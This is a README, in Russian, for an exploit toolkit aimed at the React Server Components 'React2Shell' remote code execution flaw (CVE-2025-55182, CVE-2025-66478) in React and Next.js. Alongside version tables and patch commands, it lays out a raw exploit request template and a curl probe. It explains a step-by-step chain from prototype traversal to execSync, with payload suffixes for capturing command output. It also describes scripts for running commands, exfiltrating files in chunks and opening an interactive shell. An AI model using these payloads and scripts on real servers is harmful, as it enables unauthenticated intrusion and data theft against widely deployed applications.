
Набор инструментов для эксплуатации RCE для CVE-2025-55182 и CVE-2025-66478 в React Server Components. Включает несколько вариантов эксплойтов, скрипты обнаружения, уязвимый тестовый сервер и глубокий технический анализ уязвимости десериализации протокола Flight.
CVE-2025-55182 (React) и CVE-2025-66478 (Next.js)
Этот репозиторий содержит код эксплойта только для авторизованного тестирования безопасности и образовательных целей.
См. также: Несколько исследователей опубликовали анализ этой уязвимости. Ознакомьтесь с разделом Ссылки для получения дополнительных точек зрения, методов эксплуатации и методов обнаружения.
В среду, 3 декабря 2025 года, была публично раскрыта критическая уязвимость удаленного выполнения кода в React Server Components. Ошибка, получившая название "React2Shell", позволяет неавторизованному злоумышленнику выполнить произвольный код на любом сервере, работающем под уязвимыми версиями React RSC или Next.js App Router, отправив один HTTP-запрос.
Учитывая, насколько повсеместным стал Next.js - он работает на значительной части современного веба - влияние этой уязвимости серьезно. Любое приложение Next.js, использующее App Router (по умолчанию для новых проектов с Next.js 13) с включенным RSC, уязвимо. Никакой специальной настройки. Никаких конкретных конечных точек. Просто POST-запрос к любому маршруту.
Уязвимость находится в протоколе "Flight" React, формате сериализации, используемом для передачи данных между сервером и клиентом в React Server Components. Отсутствие проверки hasOwnProperty во время десериализации позволяет обход цепочки прототипов, в конечном итоге достигая конструктора JavaScript Function для выполнения кода, контролируемого злоумышленником.
Дефект существует в пакетах React react-server-dom-webpack, и . Next.js, как доминирующий потребитель RSC, наследует уязвимость через свой App Router.
react-server-dom-turbopackreact-server-dom-parcelМногие сервисы потенциально уязвимы. Next.js - один из самых популярных фреймворков React, используемый компаниями всех размеров - от стартапов до крупных предприятий. App Router с React Server Components является архитектурой по умолчанию для новых проектов Next.js начиная с версии 13, что означает, что затронуты большинство современных развертываний Next.js.
Любое приложение, использующее:
react-server-dom-* (19.0.0 - 19.2.0)Сюда входят производственные развертывания на Vercel, AWS, собственной инфраструктуре и везде, где работают приложения Next.js App Router.
Не подвержены влиянию:
process.mainModule)| Пакет | Уязвимая | Исправленная |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Версия | Уязвимая | Исправленная |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
Обновляйтесь немедленно. Обходных путей нет.
Для приложений Next.js:
npm install next@latest
# или
pnpm update next
Для прямого использования React RSC:
npm install react-server-dom-webpack@latest
Проверьте установленные версии:
npm ls next react-server-dom-webpack react-server-dom-turbopack
Было обнаружено несколько векторов атаки для этой уязвимости. Наиболее распространенный - и тот, который работает без каких-либо предварительных условий - использует загрязнение прототипа через систему ссылок протокола Flight от React.
Эксплойт отправляет специально сформированный multipart POST-запрос с заголовком Next-Action. Полезная нагрузка злоупотребляет системой ссылок, чтобы:
$1:__proto__:thenFunctionPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
Код выполняется во время десериализации, до того как произойдет проверка идентификатора действия. Это означает, что любое значение заголовка Next-Action вызывает уязвимый путь кода - никакой действительный идентификатор действия не требуется.
Существуют и другие векторы атаки, включая ссылки на функции
$Fи прямые модульные гаджеты. Обычно они требуют действительный ID действия. Подробнее см. в разделе Альтернативные векторы атаки.
Протокол Flight от React разрешает ссылки вида $1:path:to:value, разделяя их по двоеточиям и обходя объект:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
Ирония: В самом верху этого файла, строка 35:
import hasOwnProperty from 'shared/hasOwnProperty';Защита была импортирована. Она была доступна. Она просто не использовалась в том единственном цикле, где это было важнее всего.
Эта единственная отсутствующая проверка позволяет $1:__proto__:then пройти от объекта chunk вверх по цепочке прототипов к Chunk.prototype.then - функции, которая обрабатывает объекты, похожие на Promise. Создавая поддельный chunk с нужными свойствами, мы контролируем, какой код будет выполнен.
Клонируйте уязвимый тестовый сервер:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
В другом терминале:
./detect.sh http://localhost:3443
Уязвимый сервер возвращает HTTP 500 с E{"digest" в теле ответа. Чтобы продемонстрировать RCE:
./exploit-redirect.sh http://localhost:3443 "id"
Вывод команды появляется в ответе. Для интерактивного исследования:
./shell.sh http://localhost:3443
Директория vulnerable-next-server/ содержит предварительно настроенное приложение Next.js 16.0.6 + React 19.2.0 для безопасного локального тестирования. По умолчанию оно запускается на порту 3443. Это минимальная настройка App Router, демонстрирующая, что конфигурации по умолчанию уязвимы.
Мы разработали несколько вариантов эксплойта для разных сценариев:
| Скрипт | HTTP | Вывод | Продакшн | Примечания |
|---|---|---|---|---|
exploit-redirect.sh | 303 | x-action-redirect header | Да | Рекомендуется. Нет предварительных требований. |
exploit-throw.sh | 500 | Error response body | Нет | Только режим разработки (ошибки очищаются в продакшне). |
exploit-blind.sh | 200 | Server-side only | Да | Fire-and-forget. Используйте для внеполосной эксфильтрации. |
exploit-urlencoded.sh | 303 | x-action-redirect header | Да | Другая сигнатура WAF. Требуется ID действия. |
exploit-reflect.sh | 200 | Response body | Да | Самый скрытный. Требуется ID действия. |
Примечание для продакшна: React удаляет сообщения об ошибках в производственных сборках, нарушая метод
throw. Толькоexploit-redirect.shнадежно захватывает вывод команд в продакшне без предварительных требований. URL перенаправления сохраняется в свойствеdigest(метаданные) ошибки, которое не очищается - в отличие отmessage, которое становится только{digest: "..."}.
Вспомогательные скрипты:
detect.sh - Неразрушающий зонд уязвимости (без выполнения кода)enumerate-actions.sh - Обнаруживает действительные идентификаторы Server Action из целевого HTMLexfil-file.sh - Чанковая эксфильтрация файлов (автообработка больших файлов)shell.sh - Интерактивная псевдо-оболочка поверх RCEМетод перенаправления рекомендуется, потому что он работает в продакшне, не требует предварительных требований и возвращает вывод команды напрямую. Он работает путем выбрасывания специально созданной ошибки NEXT_REDIRECT - вывод кодируется в base64 в URL перенаправления и возвращается в заголовке x-action-redirect.
Подробное использование каждого скрипта см. в USAGE.md.
./detect.sh https://target.com
Это отправляет минимальный зонд, который запускает уязвимый путь кода без выполнения произвольного кода.
Ответ уязвимого сервера:
text/x-componentE{"digest"Исправленный или не-RSC сервер: Возвращает 404, другой формат ошибки или отсутствие ответа протокола Flight.
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
Этот зонд ссылается на несуществующее свойство пустого объекта. Уязвимые серверы аварийно завершают работу при попытке доступа к {}.a.a, возвращая 500. Исправленные серверы имеют защиту hasOwnProperty, предотвращающую сбой.
Ищите эти признаки:
<script>, содержащие данные протокола Flight (0:, 1: и т.д.)x-nextjs-cache или x-nextjs-matched-path/_next/$ACTION_ID_ в скрытых полях формСледующая диаграмма иллюстрирует, как один HTTP-запрос достигает удаленного выполнения кода:
sequenceDiagram
participant A as Attacker
participant N as Next.js
participant F as Flight Parser
participant JS as JS Engine
A->>N: POST with Next-Action header + malicious payload
N->>F: Parse multipart form data
F->>JS: await getRoot - returns chunk as thenable
rect rgb(80, 20, 20)
Note over F,JS: VULNERABILITY - No hasOwnProperty check
JS->>F: chunk.then parses $1:__proto__:then
F-->>F: Traverses to Chunk.prototype.then
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise spec: resolve(thenable)<br/>calls thenable.then()
JS->>F: fakeChunk.then() with attacker's _response
rect rgb(80, 20, 20)
Note over F,JS: EXPLOITATION - Attacker controls _response
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = Function constructor<br/>_prefix = malicious code string
F->>JS: Function(code) invoked as thenable
end
Note over JS: RCE - execSync() runs
rect rgb(20, 60, 20)
Note over A,JS: OUTPUT EXFILTRATION (redirect method)
JS-->>F: throw NEXT_REDIRECT with base64(output)
F-->>N: Error propagates up
N-->>A: HTTP 303 + x-action-redirect header
endReact Server Components используют пользовательский формат сериализации под названием "Flight" для потоковой передачи деревьев компонентов с сервера на клиент. Он использует коды префиксов для разных типов значений:
$1, $2, ... - Ссылки на другие куски по ID$@0 - Ссылка на необработанный объект chunk (возвращает сам chunk, а не его значение)$B0 - Ссылка на Blob (запускает _formData.get(_prefix + id))$1:path:to:prop - Обходит путь по значению ссылочного chunkУязвимость использует комбинацию $@ (необработанная ссылка) и путей, разделенных двоеточием, для доступа к __proto__.
Фаза 1: Обработка запроса
Next-Action запускает обработку действия RSCawait getRoot(response) возвращает chunk 0 как thenableФаза 2: Обход прототипов
then - спецификация JS Promise вызывает thenable.then(resolve, reject)$1:__proto__:then разрешается в Chunk.prototype.thenthen, status: "resolved_model" и _responseФаза 3: Выполнение кода
resolve(ourObject) запускает еще один вызов then() (спецификация thenable JS)Chunk.prototype.then выполняется, используя наш управляемый объект _response$B0 запускает _formData.get(_prefix + "0") - оба контролируются злоумышленникомФаза 4: Эксфильтрация вывода (опционально, метод перенаправления)
NEXT_REDIRECT с base64-закодированным выводом командыx-action-redirect до проверки URLСозданная Function вызывается как thenable: fn(resolve, reject). То, как мы это обрабатываем, определяет, получим ли мы вывод обратно:
| Стратегия | Суффикс полезной нагрузки | Как это работает |
|---|---|---|
| Blind | execSync('CMD');0 | Выполняется, но никогда не разрешается - соединение зависает, вывода нет |
| Throw | throw execSync('CMD').toString() | Отклоняет Promise, вывод в теле ошибки (только режим разработки) |
| Redirect | throw {digest:'NEXT_REDIRECT;...;'+b64(output)} | Злоупотребляет обработкой перенаправления Next.js, вывод в заголовке |
| Reflect | arguments[0](https://github.com/freeqaz/react2shell/blob/master/%5BexecSync%28%27CMD%27).toString()]) | Разрешает Promise с выводом в качестве аргумента действия (требует действительный ID действия) |
Рекомендуется: Redirect. Работает в продакшне, без предварительных требований, вывод в заголовке x-action-redirect.
Подход blind зависает, потому что Promise никогда не завершается - await блокируется навсегда. Это полезно для сценариев fire-and-forget (обратные шеллы, внеполосная эксфильтрация через curl).
Основная уязвимость была использована через три различных класса атак. Этот репозиторий использует первый подход; другие PoC демонстрируют альтернативы:
| Класс атаки | Механизм | Требуется ID действия | Пример PoC |
|---|---|---|---|
| Prototype Pollution | Обход $1:__proto__:then к Chunk.prototype | Нет | react2shell, lachlan2k, joe-desimone |
| $F Function Reference | $F1 + action#constructor для достижения Function | Да | shellinteractive |
| Module Gadget | Синтаксис module#export (например, child_process#execSync) | Зависит | ejpir research |
Почему загрязнение прототипа не требует ID действия: Разбор multipart формы сразу передает chunk десериализатору Flight. RCE происходит в getOutlinedModel() во время разрешения ссылки chunk - до того, как Next.js проверит ID действия. URL-закодированные запросы сначала проверяют ID действия (другой путь кода в action-handler.ts:768).
Почему ссылка $F требует ID действия: Ссылка $F запускает loadServerReference(), которая выполняет поиск в манифесте. Если действие не существует, запрос завершается ошибкой до выполнения кода.
Подробный анализ всех реализаций PoC и их компромиссов см. в external-pocs/COMPARISON.md.
React удаляет детали ошибок в производственных сборках. Это влияет на эксфильтрацию на основе throw:
Разработка:
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}
Продакшн:
{"digest":"..."}
Метод перенаправления обходит это, потому что URL перенаправления хранится в свойстве digest, а не в message. Заголовок устанавливается безусловно до проверки URL, поэтому даже недействительные URL получают заголовок.
Ключевое открытие эксплуатации - использование необработанных ссылок $@ для создания самореферентного поддельного chunk - приписывается maple3142. Методология обнаружения, на которую здесь ссылаются, исходит от Searchlight Cyber / Assetnote.
Официальные раскрытия:
Исследования сообщества:
| Автор | Вклад | Путь атаки | Примечательные особенности |
|---|---|---|---|
| lachlan2k | Первооткрыватель | Загрязнение прототипа | Объединение Array.map, структура из 5 chunk, поддержка Waku |
| ejpir | Исследование гаджетов | Все пути | Каталог модульных гаджетов, атаки на постоянство, пути data URI |
| joe-desimone | Инструментарий на Python | Загрязнение прототипа | Помощник обратного шелла, эксфильтрация через callback, обнаружение таймаута |
| labubusDest / MrR0b0t19 | Интерактивная оболочка | Ссылка на функцию $F | Python REPL, загрузка/скачивание файлов, встроенный набор тестов |
| Searchlight Cyber | Методы обнаружения | — | Методология обнаружения высокой точности, сигнатуры WAF |
Подробное сравнение всех реализаций PoC см. в external-pocs/COMPARISON.md.
Предыстория:
Код лицензирован под MIT License. Документация (*.md файлы) лицензирована под CC-BY-SA 4.0.